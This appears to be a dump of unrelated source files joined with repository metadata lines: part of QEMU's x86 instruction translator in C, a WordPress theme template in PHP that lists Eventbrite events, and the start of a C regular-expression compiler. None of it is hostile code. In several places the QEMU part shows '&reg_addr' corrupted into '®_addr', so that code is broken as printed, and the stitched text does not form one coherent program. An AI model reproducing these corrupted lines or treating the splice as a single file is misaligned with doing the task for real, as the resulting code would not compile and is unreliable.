tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,cr[0]) + 4);
#else
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,cr[0]));
#endif
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 1);
break;
case 6: /* lmsw */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_CR0);
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
gen_helper_lmsw(cpu_T[0]);
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
case 7:
if (mod != 3) { /* invlpg */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_helper_invlpg(cpu_A0);
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
} else {
switch (rm) {
case 0: /* swapgs */
#ifdef TARGET_X86_64
if (CODE64(s)) {
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
tcg_gen_ld_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,segs[R_GS].base));
tcg_gen_ld_tl(cpu_T[1], cpu_env,
offsetof(CPUX86State,kernelgsbase));
tcg_gen_st_tl(cpu_T[1], cpu_env,
offsetof(CPUX86State,segs[R_GS].base));
tcg_gen_st_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,kernelgsbase));
}
} else
#endif
{
goto illegal_op;
}
break;
case 1: /* rdtscp */
if (!(s->cpuid_ext2_features & CPUID_EXT2_RDTSCP))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
if (use_icount)
gen_io_start();
gen_helper_rdtscp();
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
default:
goto illegal_op;
}
}
break;
default:
goto illegal_op;
}
break;
case 0x108: /* invd */
case 0x109: /* wbinvd */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start, (b & 2) ? SVM_EXIT_INVD : SVM_EXIT_WBINVD);
/* nothing to do */
}
break;
case 0x63: /* arpl or movslS (x86_64) */
#ifdef TARGET_X86_64
if (CODE64(s)) {
int d_ot;
/* d_ot is the size of destination */
d_ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
if (mod == 3) {
gen_op_mov_TN_reg(OT_LONG, 0, rm);
/* sign extend */
if (d_ot == OT_QUAD)
tcg_gen_ext32s_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(d_ot, reg);
} else {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (d_ot == OT_QUAD) {
gen_op_lds_T0_A0(OT_LONG + s->mem_index);
} else {
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
}
gen_op_mov_reg_T0(d_ot, reg);
}
} else
#endif
{
int label1;
TCGv t0, t1, t2, a0;
if (!s->pe || s->vm86)
goto illegal_op;
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
t2 = tcg_temp_local_new();
ot = OT_WORD;
modrm = ldub_code(s->pc++);
reg = (modrm >> 3) & 7;
mod = (modrm >> 6) & 3;
rm = modrm & 7;
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_v(ot + s->mem_index, t0, cpu_A0);
a0 = tcg_temp_local_new();
tcg_gen_mov_tl(a0, cpu_A0);
} else {
gen_op_mov_v_reg(ot, t0, rm);
TCGV_UNUSED(a0);
}
gen_op_mov_v_reg(ot, t1, reg);
tcg_gen_andi_tl(cpu_tmp0, t0, 3);
tcg_gen_andi_tl(t1, t1, 3);
tcg_gen_movi_tl(t2, 0);
label1 = gen_new_label();
tcg_gen_brcond_tl(TCG_COND_GE, cpu_tmp0, t1, label1);
tcg_gen_andi_tl(t0, t0, ~3);
tcg_gen_or_tl(t0, t0, t1);
tcg_gen_movi_tl(t2, CC_Z);
gen_set_label(label1);
if (mod != 3) {
gen_op_st_v(ot + s->mem_index, t0, a0);
tcg_temp_free(a0);
} else {
gen_op_mov_reg_v(ot, rm, t0);
}
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_andi_tl(cpu_cc_src, cpu_cc_src, ~CC_Z);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, t2);
s->cc_op = CC_OP_EFLAGS;
tcg_temp_free(t0);
tcg_temp_free(t1);
tcg_temp_free(t2);
}
break;
case 0x102: /* lar */
case 0x103: /* lsl */
{
int label1;
TCGv t0;
if (!s->pe || s->vm86)
goto illegal_op;
ot = dflag ? OT_LONG : OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
t0 = tcg_temp_local_new();
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
if (b == 0x102)
gen_helper_lar(t0, cpu_T[0]);
else
gen_helper_lsl(t0, cpu_T[0]);
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_src, CC_Z);
label1 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_tmp0, 0, label1);
gen_op_mov_reg_v(ot, reg, t0);
gen_set_label(label1);
s->cc_op = CC_OP_EFLAGS;
tcg_temp_free(t0);
}
break;
case 0x118:
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
op = (modrm >> 3) & 7;
switch(op) {
case 0: /* prefetchnta */
case 1: /* prefetchnt0 */
case 2: /* prefetchnt0 */
case 3: /* prefetchnt0 */
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
/* nothing more to do */
break;
default: /* nop (multi byte) */
gen_nop_modrm(s, modrm);
break;
}
break;
case 0x119 ... 0x11f: /* nop (multi byte) */
modrm = ldub_code(s->pc++);
gen_nop_modrm(s, modrm);
break;
case 0x120: /* mov reg, crN */
case 0x122: /* mov crN, reg */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
modrm = ldub_code(s->pc++);
if ((modrm & 0xc0) != 0xc0)
goto illegal_op;
rm = (modrm & 7) | REX_B(s);
reg = ((modrm >> 3) & 7) | rex_r;
if (CODE64(s))
ot = OT_QUAD;
else
ot = OT_LONG;
if ((prefixes & PREFIX_LOCK) && (reg == 0) &&
(s->cpuid_ext3_features & CPUID_EXT3_CR8LEG)) {
reg = 8;
}
switch(reg) {
case 0:
case 2:
case 3:
case 4:
case 8:
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
if (b & 2) {
gen_op_mov_TN_reg(ot, 0, rm);
gen_helper_write_crN(tcg_const_i32(reg), cpu_T[0]);
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
} else {
gen_helper_read_crN(cpu_T[0], tcg_const_i32(reg));
gen_op_mov_reg_T0(ot, rm);
}
break;
default:
goto illegal_op;
}
}
break;
case 0x121: /* mov reg, drN */
case 0x123: /* mov drN, reg */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
modrm = ldub_code(s->pc++);
if ((modrm & 0xc0) != 0xc0)
goto illegal_op;
rm = (modrm & 7) | REX_B(s);
reg = ((modrm >> 3) & 7) | rex_r;
if (CODE64(s))
ot = OT_QUAD;
else
ot = OT_LONG;
/* XXX: do it dynamically with CR4.DE bit */
if (reg == 4 || reg == 5 || reg >= 8)
goto illegal_op;
if (b & 2) {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_DR0 + reg);
gen_op_mov_TN_reg(ot, 0, rm);
gen_helper_movl_drN_T0(tcg_const_i32(reg), cpu_T[0]);
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
} else {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_READ_DR0 + reg);
tcg_gen_ld_tl(cpu_T[0], cpu_env, offsetof(CPUX86State,dr[reg]));
gen_op_mov_reg_T0(ot, rm);
}
}
break;
case 0x106: /* clts */
if (s->cpl != 0) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_svm_check_intercept(s, pc_start, SVM_EXIT_WRITE_CR0);
gen_helper_clts();
/* abort block because static cpu state changed */
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
/* MMX/3DNow!/SSE/SSE2/SSE3/SSSE3/SSE4 support */
case 0x1c3: /* MOVNTI reg, mem */
if (!(s->cpuid_features & CPUID_SSE2))
goto illegal_op;
ot = s->dflag == 2 ? OT_QUAD : OT_LONG;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
if (mod == 3)
goto illegal_op;
reg = ((modrm >> 3) & 7) | rex_r;
/* generate a generic store */
gen_ldst_modrm(s, modrm, ot, reg, 1);
break;
case 0x1ae:
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
op = (modrm >> 3) & 7;
switch(op) {
case 0: /* fxsave */
if (mod == 3 || !(s->cpuid_features & CPUID_FXSR) ||
(s->prefix & PREFIX_LOCK))
goto illegal_op;
if ((s->flags & HF_EM_MASK) || (s->flags & HF_TS_MASK)) {
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
break;
}
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fxsave(cpu_A0, tcg_const_i32((s->dflag == 2)));
break;
case 1: /* fxrstor */
if (mod == 3 || !(s->cpuid_features & CPUID_FXSR) ||
(s->prefix & PREFIX_LOCK))
goto illegal_op;
if ((s->flags & HF_EM_MASK) || (s->flags & HF_TS_MASK)) {
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
break;
}
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fxrstor(cpu_A0, tcg_const_i32((s->dflag == 2)));
break;
case 2: /* ldmxcsr */
case 3: /* stmxcsr */
if (s->flags & HF_TS_MASK) {
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
break;
}
if ((s->flags & HF_EM_MASK) || !(s->flags & HF_OSFXSR_MASK) ||
mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (op == 2) {
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_st32_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, mxcsr));
} else {
tcg_gen_ld32u_tl(cpu_T[0], cpu_env, offsetof(CPUX86State, mxcsr));
gen_op_st_T0_A0(OT_LONG + s->mem_index);
}
break;
case 5: /* lfence */
case 6: /* mfence */
if ((modrm & 0xc7) != 0xc0 || !(s->cpuid_features & CPUID_SSE))
goto illegal_op;
break;
case 7: /* sfence / clflush */
if ((modrm & 0xc7) == 0xc0) {
/* sfence */
/* XXX: also check for cpuid_ext2_features & CPUID_EXT2_EMMX */
if (!(s->cpuid_features & CPUID_SSE))
goto illegal_op;
} else {
/* clflush */
if (!(s->cpuid_features & CPUID_CLFLUSH))
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
}
break;
default:
goto illegal_op;
}
break;
case 0x10d: /* 3DNow! prefetch(w) */
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
/* ignore for now */
break;
case 0x1aa: /* rsm */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_RSM);
if (!(s->flags & HF_SMM_MASK))
goto illegal_op;
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
gen_jmp_im(s->pc - s->cs_base);
gen_helper_rsm();
gen_eob(s);
break;
case 0x1b8: /* SSE4.2 popcnt */
if ((prefixes & (PREFIX_REPZ | PREFIX_LOCK | PREFIX_REPNZ)) !=
PREFIX_REPZ)
goto illegal_op;
if (!(s->cpuid_ext_features & CPUID_EXT_POPCNT))
goto illegal_op;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7);
if (s->prefix & PREFIX_DATA)
ot = OT_WORD;
else if (s->dflag != 2)
ot = OT_LONG;
else
ot = OT_QUAD;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
gen_helper_popcnt(cpu_T[0], cpu_T[0], tcg_const_i32(ot));
gen_op_mov_reg_T0(ot, reg);
s->cc_op = CC_OP_EFLAGS;
break;
case 0x10e ... 0x10f:
/* 3DNow! instructions, ignore prefixes */
s->prefix &= ~(PREFIX_REPZ | PREFIX_REPNZ | PREFIX_DATA);
case 0x110 ... 0x117:
case 0x128 ... 0x12f:
case 0x138 ... 0x13a:
case 0x150 ... 0x179:
case 0x17c ... 0x17f:
case 0x1c2:
case 0x1c4 ... 0x1c6:
case 0x1d0 ... 0x1fe:
gen_sse(s, b, pc_start, rex_r);
break;
default:
goto illegal_op;
}
/* lock generation */
if (s->prefix & PREFIX_LOCK)
gen_helper_unlock();
return s->pc;
illegal_op:
if (s->prefix & PREFIX_LOCK)
gen_helper_unlock();
/* XXX: ensure that no lock was generated */
gen_exception(s, EXCP06_ILLOP, pc_start - s->cs_base);
return s->pc;
}
void optimize_flags_init(void)
{
#if TCG_TARGET_REG_BITS == 32
assert(sizeof(CCTable) == (1 << 3));
#else
assert(sizeof(CCTable) == (1 << 4));
#endif
cpu_env = tcg_global_reg_new_ptr(TCG_AREG0, "env");
cpu_cc_op = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, cc_op), "cc_op");
cpu_cc_src = tcg_global_mem_new(TCG_AREG0, offsetof(CPUState, cc_src),
"cc_src");
cpu_cc_dst = tcg_global_mem_new(TCG_AREG0, offsetof(CPUState, cc_dst),
"cc_dst");
cpu_cc_tmp = tcg_global_mem_new(TCG_AREG0, offsetof(CPUState, cc_tmp),
"cc_tmp");
#ifdef TARGET_X86_64
cpu_regs[R_EAX] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_EAX]), "rax");
cpu_regs[R_ECX] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_ECX]), "rcx");
cpu_regs[R_EDX] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_EDX]), "rdx");
cpu_regs[R_EBX] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_EBX]), "rbx");
cpu_regs[R_ESP] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_ESP]), "rsp");
cpu_regs[R_EBP] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_EBP]), "rbp");
cpu_regs[R_ESI] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_ESI]), "rsi");
cpu_regs[R_EDI] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[R_EDI]), "rdi");
cpu_regs[8] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[8]), "r8");
cpu_regs[9] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[9]), "r9");
cpu_regs[10] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[10]), "r10");
cpu_regs[11] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[11]), "r11");
cpu_regs[12] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[12]), "r12");
cpu_regs[13] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[13]), "r13");
cpu_regs[14] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[14]), "r14");
cpu_regs[15] = tcg_global_mem_new_i64(TCG_AREG0,
offsetof(CPUState, regs[15]), "r15");
#else
cpu_regs[R_EAX] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_EAX]), "eax");
cpu_regs[R_ECX] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_ECX]), "ecx");
cpu_regs[R_EDX] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_EDX]), "edx");
cpu_regs[R_EBX] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_EBX]), "ebx");
cpu_regs[R_ESP] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_ESP]), "esp");
cpu_regs[R_EBP] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_EBP]), "ebp");
cpu_regs[R_ESI] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_ESI]), "esi");
cpu_regs[R_EDI] = tcg_global_mem_new_i32(TCG_AREG0,
offsetof(CPUState, regs[R_EDI]), "edi");
#endif
/* register helpers */
#define GEN_HELPER 2
#include "helper.h"
}
/* generate intermediate code in gen_opc_buf and gen_opparam_buf for
basic block 'tb'. If search_pc is TRUE, also generate PC
information for each intermediate instruction. */
static inline void gen_intermediate_code_internal(CPUState *env,
TranslationBlock *tb,
int search_pc)
{
DisasContext dc1, *dc = &dc1;
target_ulong pc_ptr;
uint16_t *gen_opc_end;
CPUBreakpoint *bp;
int j, lj;
uint64_t flags;
target_ulong pc_start;
target_ulong cs_base;
int num_insns;
int max_insns;
/* generate intermediate code */
pc_start = tb->pc;
cs_base = tb->cs_base;
flags = tb->flags;
dc->pe = (flags >> HF_PE_SHIFT) & 1;
dc->code32 = (flags >> HF_CS32_SHIFT) & 1;
dc->ss32 = (flags >> HF_SS32_SHIFT) & 1;
dc->addseg = (flags >> HF_ADDSEG_SHIFT) & 1;
dc->f_st = 0;
dc->vm86 = (flags >> VM_SHIFT) & 1;
dc->cpl = (flags >> HF_CPL_SHIFT) & 3;
dc->iopl = (flags >> IOPL_SHIFT) & 3;
dc->tf = (flags >> TF_SHIFT) & 1;
dc->singlestep_enabled = env->singlestep_enabled;
dc->cc_op = CC_OP_DYNAMIC;
dc->cs_base = cs_base;
dc->tb = tb;
dc->popl_esp_hack = 0;
/* select memory access functions */
dc->mem_index = 0;
if (flags & HF_SOFTMMU_MASK) {
if (dc->cpl == 3)
dc->mem_index = 2 * 4;
else
dc->mem_index = 1 * 4;
}
dc->cpuid_features = env->cpuid_features;
dc->cpuid_ext_features = env->cpuid_ext_features;
dc->cpuid_ext2_features = env->cpuid_ext2_features;
dc->cpuid_ext3_features = env->cpuid_ext3_features;
#ifdef TARGET_X86_64
dc->lma = (flags >> HF_LMA_SHIFT) & 1;
dc->code64 = (flags >> HF_CS64_SHIFT) & 1;
#endif
dc->flags = flags;
dc->jmp_opt = !(dc->tf || env->singlestep_enabled ||
(flags & HF_INHIBIT_IRQ_MASK)
#ifndef CONFIG_SOFTMMU
|| (flags & HF_SOFTMMU_MASK)
#endif
);
#if 0
/* check addseg logic */
if (!dc->addseg && (dc->vm86 || !dc->pe || !dc->code32))
printf("ERROR addseg\n");
#endif
cpu_T[0] = tcg_temp_new();
cpu_T[1] = tcg_temp_new();
cpu_A0 = tcg_temp_new();
cpu_T3 = tcg_temp_new();
cpu_tmp0 = tcg_temp_new();
cpu_tmp1_i64 = tcg_temp_new_i64();
cpu_tmp2_i32 = tcg_temp_new_i32();
cpu_tmp3_i32 = tcg_temp_new_i32();
cpu_tmp4 = tcg_temp_new();
cpu_tmp5 = tcg_temp_new();
cpu_ptr0 = tcg_temp_new_ptr();
cpu_ptr1 = tcg_temp_new_ptr();
gen_opc_end = gen_opc_buf + OPC_MAX_SIZE;
dc->is_jmp = DISAS_NEXT;
pc_ptr = pc_start;
lj = -1;
num_insns = 0;
max_insns = tb->cflags & CF_COUNT_MASK;
if (max_insns == 0)
max_insns = CF_COUNT_MASK;
gen_icount_start();
for(;;) {
if (unlikely(!QTAILQ_EMPTY(&env->breakpoints))) {
QTAILQ_FOREACH(bp, &env->breakpoints, entry) {
if (bp->pc == pc_ptr &&
!((bp->flags & BP_CPU) && (tb->flags & HF_RF_MASK))) {
gen_debug(dc, pc_ptr - dc->cs_base);
break;
}
}
}
if (search_pc) {
j = gen_opc_ptr - gen_opc_buf;
if (lj < j) {
lj++;
while (lj < j)
gen_opc_instr_start[lj++] = 0;
}
gen_opc_pc[lj] = pc_ptr;
gen_opc_cc_op[lj] = dc->cc_op;
gen_opc_instr_start[lj] = 1;
gen_opc_icount[lj] = num_insns;
}
if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO))
gen_io_start();
pc_ptr = disas_insn(dc, pc_ptr);
num_insns++;
/* stop translation if indicated */
if (dc->is_jmp)
break;
/* if single step mode, we generate only one instruction and
generate an exception */
/* if irq were inhibited with HF_INHIBIT_IRQ_MASK, we clear
the flag and abort the translation to give the irqs a
change to be happen */
if (dc->tf || dc->singlestep_enabled ||
(flags & HF_INHIBIT_IRQ_MASK)) {
gen_jmp_im(pc_ptr - dc->cs_base);
gen_eob(dc);
break;
}
/* if too long translation, stop generation too */
if (gen_opc_ptr >= gen_opc_end ||
(pc_ptr - pc_start) >= (TARGET_PAGE_SIZE - 32) ||
num_insns >= max_insns) {
gen_jmp_im(pc_ptr - dc->cs_base);
gen_eob(dc);
break;
}
if (singlestep) {
gen_jmp_im(pc_ptr - dc->cs_base);
gen_eob(dc);
break;
}
}
if (tb->cflags & CF_LAST_IO)
gen_io_end();
gen_icount_end(tb, num_insns);
*gen_opc_ptr = INDEX_op_end;
/* we don't forget to fill the last values */
if (search_pc) {
j = gen_opc_ptr - gen_opc_buf;
lj++;
while (lj <= j)
gen_opc_instr_start[lj++] = 0;
}
#ifdef DEBUG_DISAS
if (qemu_loglevel_mask(CPU_LOG_TB_IN_ASM)) {
int disas_flags;
qemu_log("----------------\n");
qemu_log("IN: %s\n", lookup_symbol(pc_start));
#ifdef TARGET_X86_64
if (dc->code64)
disas_flags = 2;
else
#endif
disas_flags = !dc->code32;
log_target_disas(pc_start, pc_ptr - pc_start, disas_flags);
qemu_log("\n");
}
#endif
if (!search_pc) {
tb->size = pc_ptr - pc_start;
tb->icount = num_insns;
}
}
void gen_intermediate_code(CPUState *env, TranslationBlock *tb)
{
gen_intermediate_code_internal(env, tb, 0);
}
void gen_intermediate_code_pc(CPUState *env, TranslationBlock *tb)
{
gen_intermediate_code_internal(env, tb, 1);
}
void gen_pc_load(CPUState *env, TranslationBlock *tb,
unsigned long searched_pc, int pc_pos, void *puc)
{
int cc_op;
#ifdef DEBUG_DISAS
if (qemu_loglevel_mask(CPU_LOG_TB_OP)) {
int i;
qemu_log("RESTORE:\n");
for(i = 0;i <= pc_pos; i++) {
if (gen_opc_instr_start[i]) {
qemu_log("0x%04x: " TARGET_FMT_lx "\n", i, gen_opc_pc[i]);
}
}
qemu_log("spc=0x%08lx pc_pos=0x%x eip=" TARGET_FMT_lx " cs_base=%x\n",
searched_pc, pc_pos, gen_opc_pc[pc_pos] - tb->cs_base,
(uint32_t)tb->cs_base);
}
#endif
env->eip = gen_opc_pc[pc_pos] - tb->cs_base;
cc_op = gen_opc_cc_op[pc_pos];
if (cc_op != CC_OP_DYNAMIC)
env->cc_op = cc_op;
}
|
uli/qemu-vfb
|
target-i386/translate.c
|
C
|
gpl-2.0
| 263,795 |
<?php
/**
* Template for events loop page
*
* @package eventbrite-venue
*/
$venue_id = get_eventbrite_setting( 'venue-id', 'all' );
$organizer_id = get_eventbrite_setting( 'organizer-id', 'all' );
$language = get_eventbrite_setting( 'call-to-action' );
$page = max( 1, get_query_var( 'paged' ) );
$per_page = get_option( 'posts_per_page' );
$events = Voce_Eventbrite_API::get_user_events( array(
'per_page' => -1,
'page' => -1,
'venue' => $venue_id,
'organizer' => $organizer_id
) );
$total_events = count( $events );
if ( $page > 0 ) {
$events = array_slice( $events, ( $page - 1 ) * $per_page, $per_page );
} else {
// return the specified number
if ( $count > 0 )
$events = array_slice( $events, 0, $count );
}
get_header(); ?>
<div class="row">
<div class="span8">
<div class="left-col">
<h1><?php _e( 'Events', 'eventbrite-venue' ); ?></h1>
<div class="event-items">
<?php if ( $events ) :
$previous_day = false;
for ( $x = 0; $x < count( $events ); $x++ ) :
$event = $events[ $x ];
$tz = new DateTimeZone( $event->start->timezone );
$start_date = new DateTime( $event->start->local, $tz );
$current_day = $start_date->format( 'd.m.y' );
if ( count( $events ) == $x + 1 ) {
$next_day = false;
} else {
$next_event = $events[ $x + 1 ];
$next_date = new DateTime( $next_event->start->local, $tz );
$next_day = $next_date->format( 'd.m.y' );
}
$wp_event_url = eventbrite_venue_get_wp_event_url( $event );
?>
<?php if ( $current_day != $previous_day ) : ?>
<div class="event-day row-fluid">
<!-- Just need this once per day -->
<div class="span2">
<h2 class="event-date">
<?php echo wp_kses(
eventbrite_venue_start_date( $event ),
array(
'span' => array(),
)
); ?>
</h2>
</div>
<div class="span10">
<?php endif; ?>
<!-- Loop through that day's events and put in this div -->
<!-- loop begins now -->
<div class="event-item">
<?php if ( isset( $event->logo_url ) && $event->logo_url ) : ?>
<div class="event-image">
<?php if ( $wp_event_url ) : ?><a href="<?php echo esc_url( $wp_event_url ); ?>"><?php endif; ?>
<img src="<?php echo esc_url( $event->logo_url ); ?>" alt="" />
<?php if ( $wp_event_url ) : ?></a><?php endif; ?>
</div>
<?php endif; ?>
<div class="event-text">
<a href="<?php echo esc_url( add_query_arg( 'ref', 'wporglist', $event->url ) ); ?>" class="btn pull-right btn-warning"><?php if ( ! empty( $language ) ) echo esc_html( $language ); ?></a>
<h3>
<?php echo wp_kses(
eventbrite_venue_event_title( $event, $wp_event_url ),
array(
'a' => array(
'href' => array(),
),
)
); ?>
</h3>
<p class="date event-meta">
<?php echo wp_kses(
eventbrite_venue_event_meta( $event ),
array(
'span' => array(
'class' => array(),
),
)
); ?>
</p>
<p><?php echo esc_html( eventbrite_venue_get_event_excerpt( $event->description->text ) ); ?></p>
<?php if ( $wp_event_url ) : ?>
<p class="text-right"><a href="<?php echo esc_url( $wp_event_url ); ?>"><?php _e( 'Read More', 'eventbrite-venue' ); ?></a></p>
<?php endif; ?>
</div>
</div>
<!-- end day loop -->
<?php $previous_day = $current_day; if ( $current_day != $next_day ) : ?>
</div>
</div>
<?php endif; ?>
<?php endfor; ?>
<div class="pagination pagination-centered">
<?php
echo paginate_links( array(
'base' => get_pagenum_link( 1 ) . '%_%',
'format' => 'page/%#%',
'total' => ceil( $total_events / $per_page ),
'current' => $page,
'prev_text' => __( '← Previous', 'eventbrite-venue' ),
'next_text' => __( 'Next →', 'eventbrite-venue' ),
'type' => 'list',
) );
?>
</div>
<?php else: ?>
<p><?php _e( 'No events found', 'eventbrite-venue' ); ?></p>
<?php endif; ?>
</div>
</div>
</div>
<?php get_sidebar(); ?>
</div>
<?php
get_footer();
|
calasisqueta/calasisqueta
|
wp-content/themes/eventbrite-venue/event.php
|
PHP
|
gpl-2.0
| 4,598 |
#include "regex.h"
#include "utils.h"
#include "regex2.h"
#include "cclass.h"
#include "cname.h"
/*
* parse structure, passed up and down to avoid global variables and
* other clumsinesses
*/
struct parse {
char *next; /* next character in RE */
char *end; /* end of string (-> NUL normally) */
int error; /* has an error been seen? */
sop *strip; /* malloced strip */
sopno ssize; /* malloced strip size (allocated) */
sopno slen; /* malloced strip length (used) */
int ncsalloc; /* number of csets allocated */
struct re_guts *g;
# define NPAREN 10 /* we need to remember () 1-9 for back refs */
sopno pbegin[NPAREN]; /* -> ( ([0] unused) */
sopno pend[NPAREN]; /* -> ) ([0] unused) */
};
#include "regcomp.ih"
static char nuls[10]; /* place to point scanner in event of error */
/*
* macros for use with parse structure
* BEWARE: these know that the parse structure is named `p' !!!
*/
#define PEEK() (*p->next)
#define PEEK2() (*(p->next+1))
#define MORE() (p->next < p->end)
#define MORE2() (p->next+1 < p->end)
#define SEE(c) (MORE() && PEEK() == (c))
#define SEETWO(a, b) (MORE() && MORE2() && PEEK() == (a) && PEEK2() == (b))
#define EAT(c) ((SEE(c)) ? (NEXT1(), 1) : 0)
#define EATTWO(a, b) ((SEETWO(a, b)) ? (NEXT2(), 1) : 0)
#define NEXT1() (p->next++)
#define NEXT2() (p->next += 2)
#define NEXTn(n) (p->next += (n))
#define GETNEXT() (*p->next++)
#define SETERROR(e) seterr(p, (e))
#define REQUIRE(co, e) ((void)((co) || SETERROR(e)))
#define MUSTSEE(c, e) (REQUIRE(MORE() && PEEK() == (c), e))
#define MUSTEAT(c, e) (REQUIRE(MORE() && GETNEXT() == (c), e))
#define MUSTNOTSEE(c, e) (REQUIRE(!MORE() || PEEK() != (c), e))
#define EMIT(op, sopnd) doemit(p, (sop)(op), (size_t)(sopnd))
#define INSERT(op, pos) doinsert(p, (sop)(op), HERE()-(pos)+1, pos)
#define AHEAD(pos) dofwd(p, pos, HERE()-(pos))
#define ASTERN(sop, pos) EMIT(sop, HERE()-pos)
#define HERE() (p->slen)
#define THERE() (p->slen - 1)
#define THERETHERE() (p->slen - 2)
#define DROP(n) (p->slen -= (n))
#ifndef NDEBUG
